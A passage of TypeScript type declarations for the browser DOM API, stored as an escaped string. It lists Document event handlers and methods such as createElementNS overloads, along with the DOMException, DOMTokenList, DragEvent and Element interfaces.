any;\\n    /**\\n     * Occurs when the audio or video has started playing.\\n     * @param ev The event.\\n     */\\n    onplaying: (this: Document, ev: Event) => any;\\n    onpointerlockchange: (this: Document, ev: Event) => any;\\n    onpointerlockerror: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs to indicate progress while downloading media data.\\n     * @param ev The event.\\n     */\\n    onprogress: (this: Document, ev: ProgressEvent) => any;\\n    /**\\n     * Occurs when the playback rate is increased or decreased.\\n     * @param ev The event.\\n     */\\n    onratechange: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the state of the object has changed.\\n     * @param ev The event\\n     */\\n    onreadystatechange: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user resets a form.\\n     * @param ev The event.\\n     */\\n    onreset: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user repositions the scroll box in the scroll bar on the object.\\n     * @param ev The event.\\n     */\\n    onscroll: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Occurs when the seek operation ends.\\n     * @param ev The event.\\n     */\\n    onseeked: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the current playback position is moved.\\n     * @param ev The event.\\n     */\\n    onseeking: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the current selection changes.\\n     * @param ev The event.\\n     */\\n    onselect: (this: Document, ev: UIEvent) => any;\\n    /**\\n     * Fires when the selection state of a document changes.\\n     * @param ev The event.\\n     */\\n    onselectionchange: (this: Document, ev: Event) => any;\\n    onselectstart: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when the download has stopped.\\n     * @param ev The event.\\n     */\\n    onstalled: (this: Document, ev: Event) => any;\\n    /**\\n     * Fires when the user clicks the Stop button or leaves the Web page.\\n     * @param ev The event.\\n     */\\n    onstop: (this: Document, ev: Event) => any;\\n    onsubmit: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs if the load operation has been intentionally halted.\\n     * @param ev The event.\\n     */\\n    onsuspend: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs to indicate the current playback position.\\n     * @param ev The event.\\n     */\\n    ontimeupdate: (this: Document, ev: Event) => any;\\n    ontouchcancel: (ev: TouchEvent) => any;\\n    ontouchend: (ev: TouchEvent) => any;\\n    ontouchmove: (ev: TouchEvent) => any;\\n    ontouchstart: (ev: TouchEvent) => any;\\n    /**\\n     * Occurs when the volume is changed, or playback is muted or unmuted.\\n     * @param ev The event.\\n     */\\n    onvolumechange: (this: Document, ev: Event) => any;\\n    /**\\n     * Occurs when playback stops because the next frame of a video resource is not available.\\n     * @param ev The event.\\n     */\\n    onwaiting: (this: Document, ev: Event) => any;\\n    onwebkitfullscreenchange: (this: Document, ev: Event) => any;\\n    onwebkitfullscreenerror: (this: Document, ev: Event) => any;\\n    plugins: HTMLCollectionOf<HTMLEmbedElement>;\\n    readonly pointerLockElement: Element;\\n    /**\\n     * Retrieves a value that indicates the current state of the object.\\n     */\\n    readonly readyState: string;\\n    /**\\n     * Gets the URL of the location that referred the user to the current page.\\n     */\\n    readonly referrer: string;\\n    /**\\n     * Gets the root svg element in the document hierarchy.\\n     */\\n    readonly rootElement: SVGSVGElement;\\n    /**\\n     * Retrieves a collection of all script objects in the document.\\n     */\\n    scripts: HTMLCollectionOf<HTMLScriptElement>;\\n    readonly scrollingElement: Element | null;\\n    /**\\n     * Retrieves a collection of styleSheet objects representing the style sheets that correspond to each instance of a link or style object in the document.\\n     */\\n    readonly styleSheets: StyleSheetList;\\n    /**\\n     * Contains the title of the document.\\n     */\\n    title: string;\\n    /**\\n     * Sets or gets the URL for the current document.\\n     */\\n    readonly URL: string;\\n    /**\\n     * Gets the URL for the document, stripped of any character encoding.\\n     */\\n    readonly URLUnencoded: string;\\n    readonly visibilityState: VisibilityState;\\n    /**\\n     * Sets or gets the color of the links that the user has visited.\\n     */\\n    vlinkColor: string;\\n    readonly webkitCurrentFullScreenElement: Element | null;\\n    readonly webkitFullscreenElement: Element | null;\\n    readonly webkitFullscreenEnabled: boolean;\\n    readonly webkitIsFullScreen: boolean;\\n    readonly xmlEncoding: string | null;\\n    xmlStandalone: boolean;\\n    /**\\n     * Gets or sets the version attribute specified in the declaration of an XML document.\\n     */\\n    xmlVersion: string | null;\\n    adoptNode<T extends Node>(source: T): T;\\n    captureEvents(): void;\\n    caretRangeFromPoint(x: number, y: number): Range;\\n    clear(): void;\\n    /**\\n     * Closes an output stream and forces the sent data to display.\\n     */\\n    close(): void;\\n    /**\\n     * Creates an attribute object with a specified name.\\n     * @param name String that sets the attribute object\\'s name.\\n     */\\n    createAttribute(name: string): Attr;\\n    createAttributeNS(namespaceURI: string | null, qualifiedName: string): Attr;\\n    createCDATASection(data: string): CDATASection;\\n    /**\\n     * Creates a comment object with the specified data.\\n     * @param data Sets the comment object\\'s data.\\n     */\\n    createComment(data: string): Comment;\\n    /**\\n     * Creates a new document.\\n     */\\n    createDocumentFragment(): DocumentFragment;\\n    /**\\n     * Creates an instance of the element for the specified tag.\\n     * @param tagName The name of an element.\\n     */\\n    createElement<K extends keyof HTMLElementTagNameMap>(tagName: K): HTMLElementTagNameMap[K];\\n    createElement(tagName: string): HTMLElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/1999/xhtml\", qualifiedName: string): HTMLElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"a\"): SVGAElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"circle\"): SVGCircleElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"clipPath\"): SVGClipPathElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"componentTransferFunction\"): SVGComponentTransferFunctionElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"defs\"): SVGDefsElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"desc\"): SVGDescElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"ellipse\"): SVGEllipseElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feBlend\"): SVGFEBlendElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feColorMatrix\"): SVGFEColorMatrixElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feComponentTransfer\"): SVGFEComponentTransferElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feComposite\"): SVGFECompositeElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feConvolveMatrix\"): SVGFEConvolveMatrixElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feDiffuseLighting\"): SVGFEDiffuseLightingElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feDisplacementMap\"): SVGFEDisplacementMapElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feDistantLight\"): SVGFEDistantLightElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFlood\"): SVGFEFloodElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncA\"): SVGFEFuncAElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncB\"): SVGFEFuncBElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncG\"): SVGFEFuncGElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feFuncR\"): SVGFEFuncRElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feGaussianBlur\"): SVGFEGaussianBlurElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feImage\"): SVGFEImageElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feMerge\"): SVGFEMergeElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feMergeNode\"): SVGFEMergeNodeElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feMorphology\"): SVGFEMorphologyElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feOffset\"): SVGFEOffsetElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"fePointLight\"): SVGFEPointLightElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feSpecularLighting\"): SVGFESpecularLightingElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feSpotLight\"): SVGFESpotLightElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feTile\"): SVGFETileElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"feTurbulence\"): SVGFETurbulenceElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"filter\"): SVGFilterElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"foreignObject\"): SVGForeignObjectElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"g\"): SVGGElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"image\"): SVGImageElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"gradient\"): SVGGradientElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"line\"): SVGLineElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"linearGradient\"): SVGLinearGradientElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"marker\"): SVGMarkerElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"mask\"): SVGMaskElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"path\"): SVGPathElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"metadata\"): SVGMetadataElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"pattern\"): SVGPatternElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"polygon\"): SVGPolygonElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"polyline\"): SVGPolylineElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"radialGradient\"): SVGRadialGradientElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"rect\"): SVGRectElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"svg\"): SVGSVGElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"script\"): SVGScriptElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"stop\"): SVGStopElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"style\"): SVGStyleElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"switch\"): SVGSwitchElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"symbol\"): SVGSymbolElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"tspan\"): SVGTSpanElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"textContent\"): SVGTextContentElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"text\"): SVGTextElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"textPath\"): SVGTextPathElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"textPositioning\"): SVGTextPositioningElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"title\"): SVGTitleElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"use\"): SVGUseElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: \"view\"): SVGViewElement;\\n    createElementNS(namespaceURI: \"http://www.w3.org/2000/svg\", qualifiedName: string): SVGElement;\\n    createElementNS(namespaceURI: string | null, qualifiedName: string): Element;\\n    createExpression(expression: string, resolver: XPathNSResolver): XPathExpression;\\n    /**\\n     * Creates a NodeIterator object that you can use to traverse filtered lists of nodes or elements in a document.\\n     * @param root The root element or node to start traversing on.\\n     * @param whatToShow The type of nodes or elements to appear in the node list\\n     * @param filter A custom NodeFilter function to use. For more information, see filter. Use null for no filter.\\n     * @param entityReferenceExpansion A flag that specifies whether entity reference nodes are expanded.\\n     */\\n    createNodeIterator(root: Node, whatToShow?: number, filter?: NodeFilter, entityReferenceExpansion?: boolean): NodeIterator;\\n    createNSResolver(nodeResolver: Node): XPathNSResolver;\\n    createProcessingInstruction(target: string, data: string): ProcessingInstruction;\\n    /**\\n     *  Returns an empty range object that has both of its boundary points positioned at the beginning of the document.\\n     */\\n    createRange(): Range;\\n    /**\\n     * Creates a text string from the specified value.\\n     * @param data String that specifies the nodeValue property of the text node.\\n     */\\n    createTextNode(data: string): Text;\\n    createTouch(view: Window, target: EventTarget, identifier: number, pageX: number, pageY: number, screenX: number, screenY: number): Touch;\\n    createTouchList(...touches: Touch[]): TouchList;\\n    /**\\n     * Creates a TreeWalker object that you can use to traverse filtered lists of nodes or elements in a document.\\n     * @param root The root element or node to start traversing on.\\n     * @param whatToShow The type of nodes or elements to appear in the node list. For more information, see whatToShow.\\n     * @param filter A custom NodeFilter function to use.\\n     * @param entityReferenceExpansion A flag that specifies whether entity reference nodes are expanded.\\n     */\\n    createTreeWalker(root: Node, whatToShow?: number, filter?: NodeFilter, entityReferenceExpansion?: boolean): TreeWalker;\\n    /**\\n     * Returns the element for the specified x coordinate and the specified y coordinate.\\n     * @param x The x-offset\\n     * @param y The y-offset\\n     */\\n    elementFromPoint(x: number, y: number): Element;\\n    evaluate(expression: string, contextNode: Node, resolver: XPathNSResolver | null, type: number, result: XPathResult | null): XPathResult;\\n    /**\\n     * Executes a command on the current document, current selection, or the given range.\\n     * @param commandId String that specifies the command to execute. This command can be any of the command identifiers that can be executed in script.\\n     * @param showUI Display the user interface, defaults to false.\\n     * @param value Value to assign.\\n     */\\n    execCommand(commandId: string, showUI?: boolean, value?: any): boolean;\\n    /**\\n     * Displays help information for the given command identifier.\\n     * @param commandId Displays help information for the given command identifier.\\n     */\\n    execCommandShowHelp(commandId: string): boolean;\\n    exitFullscreen(): void;\\n    exitPointerLock(): void;\\n    /**\\n     * Causes the element to receive the focus and executes the code specified by the onfocus event.\\n     */\\n    focus(): void;\\n    /**\\n     * Returns a reference to the first object with the specified value of the ID or NAME attribute.\\n     * @param elementId String that specifies the ID value. Case-insensitive.\\n     */\\n    getElementById(elementId: string): HTMLElement | null;\\n    getElementsByClassName(classNames: string): HTMLCollectionOf<Element>;\\n    /**\\n     * Gets a collection of objects based on the value of the NAME or ID attribute.\\n     * @param elementName Gets a collection of objects based on the value of the NAME or ID attribute.\\n     */\\n    getElementsByName(elementName: string): NodeListOf<HTMLElement>;\\n    /**\\n     * Retrieves a collection of objects based on the specified element name.\\n     * @param name Specifies the name of an element.\\n     */\\n    getElementsByTagName<K extends keyof ElementListTagNameMap>(tagname: K): ElementListTagNameMap[K];\\n    getElementsByTagName(tagname: string): NodeListOf<Element>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/1999/xhtml\", localName: string): HTMLCollectionOf<HTMLElement>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/2000/svg\", localName: string): HTMLCollectionOf<SVGElement>;\\n    getElementsByTagNameNS(namespaceURI: string, localName: string): HTMLCollectionOf<Element>;\\n    /**\\n     * Returns an object representing the current selection of the document that is loaded into the object displaying a webpage.\\n     */\\n    getSelection(): Selection;\\n    /**\\n     * Gets a value indicating whether the object currently has focus.\\n     */\\n    hasFocus(): boolean;\\n    importNode<T extends Node>(importedNode: T, deep: boolean): T;\\n    msElementsFromPoint(x: number, y: number): NodeListOf<Element>;\\n    msElementsFromRect(left: number, top: number, width: number, height: number): NodeListOf<Element>;\\n    /**\\n     * Opens a new window and loads a document specified by a given URL. Also, opens a new window that uses the url parameter and the name parameter to collect the output of the write method and the writeln method.\\n     * @param url Specifies a MIME type for the document.\\n     * @param name Specifies the name of the window. This name is used as the value for the TARGET attribute on a form or an anchor element.\\n     * @param features Contains a list of items separated by commas. Each item consists of an option and a value, separated by an equals sign (for example, \"fullscreen=yes, toolbar=yes\"). The following values are supported.\\n     * @param replace Specifies whether the existing entry for the document is replaced in the history list.\\n     */\\n    open(url?: string, name?: string, features?: string, replace?: boolean): Document;\\n    /**\\n     * Returns a Boolean value that indicates whether a specified command can be successfully executed using execCommand, given the current state of the document.\\n     * @param commandId Specifies a command identifier.\\n     */\\n    queryCommandEnabled(commandId: string): boolean;\\n    /**\\n     * Returns a Boolean value that indicates whether the specified command is in the indeterminate state.\\n     * @param commandId String that specifies a command identifier.\\n     */\\n    queryCommandIndeterm(commandId: string): boolean;\\n    /**\\n     * Returns a Boolean value that indicates the current state of the command.\\n     * @param commandId String that specifies a command identifier.\\n     */\\n    queryCommandState(commandId: string): boolean;\\n    /**\\n     * Returns a Boolean value that indicates whether the current command is supported on the current range.\\n     * @param commandId Specifies a command identifier.\\n     */\\n    queryCommandSupported(commandId: string): boolean;\\n    /**\\n     * Retrieves the string associated with a command.\\n     * @param commandId String that contains the identifier of a command. This can be any command identifier given in the list of Command Identifiers.\\n     */\\n    queryCommandText(commandId: string): string;\\n    /**\\n     * Returns the current value of the document, range, or current selection for the given command.\\n     * @param commandId String that specifies a command identifier.\\n     */\\n    queryCommandValue(commandId: string): string;\\n    releaseEvents(): void;\\n    /**\\n     * Allows updating the print settings for the page.\\n     */\\n    updateSettings(): void;\\n    webkitCancelFullScreen(): void;\\n    webkitExitFullscreen(): void;\\n    /**\\n     * Writes one or more HTML expressions to a document in the specified window.\\n     * @param content Specifies the text and HTML tags to write.\\n     */\\n    write(...content: string[]): void;\\n    /**\\n     * Writes one or more HTML expressions, followed by a carriage return, to a document in the specified window.\\n     * @param content The text and HTML tags to write.\\n     */\\n    writeln(...content: string[]): void;\\n    addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: Document, ev: DocumentEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Document: {\\n    prototype: Document;\\n    new(): Document;\\n};\\n\\ninterface DocumentFragment extends Node, NodeSelector, ParentNode {\\n    getElementById(elementId: string): HTMLElement | null;\\n}\\n\\ndeclare var DocumentFragment: {\\n    prototype: DocumentFragment;\\n    new(): DocumentFragment;\\n};\\n\\ninterface DocumentType extends Node, ChildNode {\\n    readonly entities: NamedNodeMap;\\n    readonly internalSubset: string | null;\\n    readonly name: string;\\n    readonly notations: NamedNodeMap;\\n    readonly publicId: string;\\n    readonly systemId: string;\\n}\\n\\ndeclare var DocumentType: {\\n    prototype: DocumentType;\\n    new(): DocumentType;\\n};\\n\\ninterface DOMError {\\n    readonly name: string;\\n    toString(): string;\\n}\\n\\ndeclare var DOMError: {\\n    prototype: DOMError;\\n    new(): DOMError;\\n};\\n\\ninterface DOMException {\\n    readonly code: number;\\n    readonly message: string;\\n    readonly name: string;\\n    toString(): string;\\n    readonly ABORT_ERR: number;\\n    readonly DATA_CLONE_ERR: number;\\n    readonly DOMSTRING_SIZE_ERR: number;\\n    readonly HIERARCHY_REQUEST_ERR: number;\\n    readonly INDEX_SIZE_ERR: number;\\n    readonly INUSE_ATTRIBUTE_ERR: number;\\n    readonly INVALID_ACCESS_ERR: number;\\n    readonly INVALID_CHARACTER_ERR: number;\\n    readonly INVALID_MODIFICATION_ERR: number;\\n    readonly INVALID_NODE_TYPE_ERR: number;\\n    readonly INVALID_STATE_ERR: number;\\n    readonly NAMESPACE_ERR: number;\\n    readonly NETWORK_ERR: number;\\n    readonly NO_DATA_ALLOWED_ERR: number;\\n    readonly NO_MODIFICATION_ALLOWED_ERR: number;\\n    readonly NOT_FOUND_ERR: number;\\n    readonly NOT_SUPPORTED_ERR: number;\\n    readonly PARSE_ERR: number;\\n    readonly QUOTA_EXCEEDED_ERR: number;\\n    readonly SECURITY_ERR: number;\\n    readonly SERIALIZE_ERR: number;\\n    readonly SYNTAX_ERR: number;\\n    readonly TIMEOUT_ERR: number;\\n    readonly TYPE_MISMATCH_ERR: number;\\n    readonly URL_MISMATCH_ERR: number;\\n    readonly VALIDATION_ERR: number;\\n    readonly WRONG_DOCUMENT_ERR: number;\\n}\\n\\ndeclare var DOMException: {\\n    prototype: DOMException;\\n    new(): DOMException;\\n    readonly ABORT_ERR: number;\\n    readonly DATA_CLONE_ERR: number;\\n    readonly DOMSTRING_SIZE_ERR: number;\\n    readonly HIERARCHY_REQUEST_ERR: number;\\n    readonly INDEX_SIZE_ERR: number;\\n    readonly INUSE_ATTRIBUTE_ERR: number;\\n    readonly INVALID_ACCESS_ERR: number;\\n    readonly INVALID_CHARACTER_ERR: number;\\n    readonly INVALID_MODIFICATION_ERR: number;\\n    readonly INVALID_NODE_TYPE_ERR: number;\\n    readonly INVALID_STATE_ERR: number;\\n    readonly NAMESPACE_ERR: number;\\n    readonly NETWORK_ERR: number;\\n    readonly NO_DATA_ALLOWED_ERR: number;\\n    readonly NO_MODIFICATION_ALLOWED_ERR: number;\\n    readonly NOT_FOUND_ERR: number;\\n    readonly NOT_SUPPORTED_ERR: number;\\n    readonly PARSE_ERR: number;\\n    readonly QUOTA_EXCEEDED_ERR: number;\\n    readonly SECURITY_ERR: number;\\n    readonly SERIALIZE_ERR: number;\\n    readonly SYNTAX_ERR: number;\\n    readonly TIMEOUT_ERR: number;\\n    readonly TYPE_MISMATCH_ERR: number;\\n    readonly URL_MISMATCH_ERR: number;\\n    readonly VALIDATION_ERR: number;\\n    readonly WRONG_DOCUMENT_ERR: number;\\n};\\n\\ninterface DOMImplementation {\\n    createDocument(namespaceURI: string | null, qualifiedName: string | null, doctype: DocumentType | null): Document;\\n    createDocumentType(qualifiedName: string, publicId: string, systemId: string): DocumentType;\\n    createHTMLDocument(title: string): Document;\\n    hasFeature(feature: string | null, version: string | null): boolean;\\n}\\n\\ndeclare var DOMImplementation: {\\n    prototype: DOMImplementation;\\n    new(): DOMImplementation;\\n};\\n\\ninterface DOMParser {\\n    parseFromString(source: string, mimeType: string): Document;\\n}\\n\\ndeclare var DOMParser: {\\n    prototype: DOMParser;\\n    new(): DOMParser;\\n};\\n\\ninterface DOMSettableTokenList extends DOMTokenList {\\n    value: string;\\n}\\n\\ndeclare var DOMSettableTokenList: {\\n    prototype: DOMSettableTokenList;\\n    new(): DOMSettableTokenList;\\n};\\n\\ninterface DOMStringList {\\n    readonly length: number;\\n    contains(str: string): boolean;\\n    item(index: number): string | null;\\n    [index: number]: string;\\n}\\n\\ndeclare var DOMStringList: {\\n    prototype: DOMStringList;\\n    new(): DOMStringList;\\n};\\n\\ninterface DOMStringMap {\\n    [name: string]: string | undefined;\\n}\\n\\ndeclare var DOMStringMap: {\\n    prototype: DOMStringMap;\\n    new(): DOMStringMap;\\n};\\n\\ninterface DOMTokenList {\\n    readonly length: number;\\n    add(...token: string[]): void;\\n    contains(token: string): boolean;\\n    item(index: number): string;\\n    remove(...token: string[]): void;\\n    toggle(token: string, force?: boolean): boolean;\\n    toString(): string;\\n    [index: number]: string;\\n}\\n\\ndeclare var DOMTokenList: {\\n    prototype: DOMTokenList;\\n    new(): DOMTokenList;\\n};\\n\\ninterface DragEvent extends MouseEvent {\\n    readonly dataTransfer: DataTransfer;\\n    initDragEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget, dataTransferArg: DataTransfer): void;\\n    msConvertURL(file: File, targetType: string, targetURL?: string): void;\\n}\\n\\ndeclare var DragEvent: {\\n    prototype: DragEvent;\\n    new(type: \"drag\" | \"dragend\" | \"dragenter\" | \"dragexit\" | \"dragleave\" | \"dragover\" | \"dragstart\" | \"drop\", dragEventInit?: { dataTransfer?: DataTransfer }): DragEvent;\\n};\\n\\ninterface DynamicsCompressorNode extends AudioNode {\\n    readonly attack: AudioParam;\\n    readonly knee: AudioParam;\\n    readonly ratio: AudioParam;\\n    readonly reduction: number;\\n    readonly release: AudioParam;\\n    readonly threshold: AudioParam;\\n}\\n\\ndeclare var DynamicsCompressorNode: {\\n    prototype: DynamicsCompressorNode;\\n    new(): DynamicsCompressorNode;\\n};\\n\\ninterface ElementEventMap extends GlobalEventHandlersEventMap {\\n    \"ariarequest\": Event;\\n    \"command\": Event;\\n    \"gotpointercapture\": PointerEvent;\\n    \"lostpointercapture\": PointerEvent;\\n    \"MSGestureChange\": MSGestureEvent;\\n    \"MSGestureDoubleTap\": MSGestureEvent;\\n    \"MSGestureEnd\": MSGestureEvent;\\n    \"MSGestureHold\": MSGestureEvent;\\n    \"MSGestureStart\": MSGestureEvent;\\n    \"MSGestureTap\": MSGestureEvent;\\n    \"MSGotPointerCapture\": MSPointerEvent;\\n    \"MSInertiaStart\": MSGestureEvent;\\n    \"MSLostPointerCapture\": MSPointerEvent;\\n    \"MSPointerCancel\": MSPointerEvent;\\n    \"MSPointerDown\": MSPointerEvent;\\n    \"MSPointerEnter\": MSPointerEvent;\\n    \"MSPointerLeave\": MSPointerEvent;\\n    \"MSPointerMove\": MSPointerEvent;\\n    \"MSPointerOut\": MSPointerEvent;\\n    \"MSPointerOver\": MSPointerEvent;\\n    \"MSPointerUp\": MSPointerEvent;\\n    \"touchcancel\": TouchEvent;\\n    \"touchend\": TouchEvent;\\n    \"touchmove\": TouchEvent;\\n    \"touchstart\": TouchEvent;\\n    \"webkitfullscreenchange\": Event;\\n    \"webkitfullscreenerror\": Event;\\n}\\n\\ninterface Element extends Node, GlobalEventHandlers, ElementTraversal, NodeSelector, ChildNode, ParentNode {\\n    readonly classList: DOMTokenList;\\n    className: string;\\n    readonly clientHeight: number;\\n    readonly clientLeft: number;\\n    readonly clientTop: number;\\n    readonly clientWidth: number;\\n    id: string;\\n    innerHTML: string;\\n    msContentZoomFactor: number;\\n    readonly msRegionOverflow: string;\\n    onariarequest: (this: Element, ev: Event) => any;\\n    oncommand: (this: Element, ev: Event) => any;\\n    ongotpointercapture: (this: Element, ev: PointerEvent) => any;\\n    onlostpointercapture: (this: Element, ev: PointerEvent) => any;\\n    onmsgesturechange: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturedoubletap: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgestureend: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturehold: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturestart: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgesturetap: (this: Element, ev: MSGestureEvent) => any;\\n    onmsgotpointercapture: (this: Element, ev: MSPointerEvent) => any;\\n    onmsinertiastart: (this: Element, ev: MSGestureEvent) => any;\\n    onmslostpointercapture: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointercancel: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerdown: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerenter: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerleave: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointermove: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerout: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerover: (this: Element, ev: MSPointerEvent) => any;\\n    onmspointerup: (this: Element, ev: MSPointerEvent) => any;\\n    ontouchcancel: (ev: TouchEvent) => any;\\n    ontouchend: (ev: TouchEvent) => any;\\n    ontouchmove: (ev: TouchEvent) => any;\\n    ontouchstart: (ev: TouchEvent) => any;\\n    onwebkitfullscreenchange: (this: Element, ev: Event) => any;\\n    onwebkitfullscreenerror: (this: Element, ev: Event) => any;\\n    outerHTML: string;\\n    readonly prefix: string | null;\\n    readonly scrollHeight: number;\\n    scrollLeft: number;\\n    scrollTop: number;\\n    readonly scrollWidth: number;\\n    readonly tagName: string;\\n    readonly assignedSlot: HTMLSlotElement | null;\\n    slot: string;\\n    readonly shadowRoot: ShadowRoot | null;\\n    getAttribute(name: string): string | null;\\n    getAttributeNode(name: string): Attr;\\n    getAttributeNodeNS(namespaceURI: string, localName: string): Attr;\\n    getAttributeNS(namespaceURI: string, localName: string): string;\\n    getBoundingClientRect(): ClientRect;\\n    getClientRects(): ClientRectList;\\n    getElementsByTagName<K extends keyof ElementListTagNameMap>(name: K): ElementListTagNameMap[K];\\n    getElementsByTagName(name: string): NodeListOf<Element>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/1999/xhtml\", localName: string): HTMLCollectionOf<HTMLElement>;\\n    getElementsByTagNameNS(namespaceURI: \"http://www.w3.org/2000/svg\", localName: string): 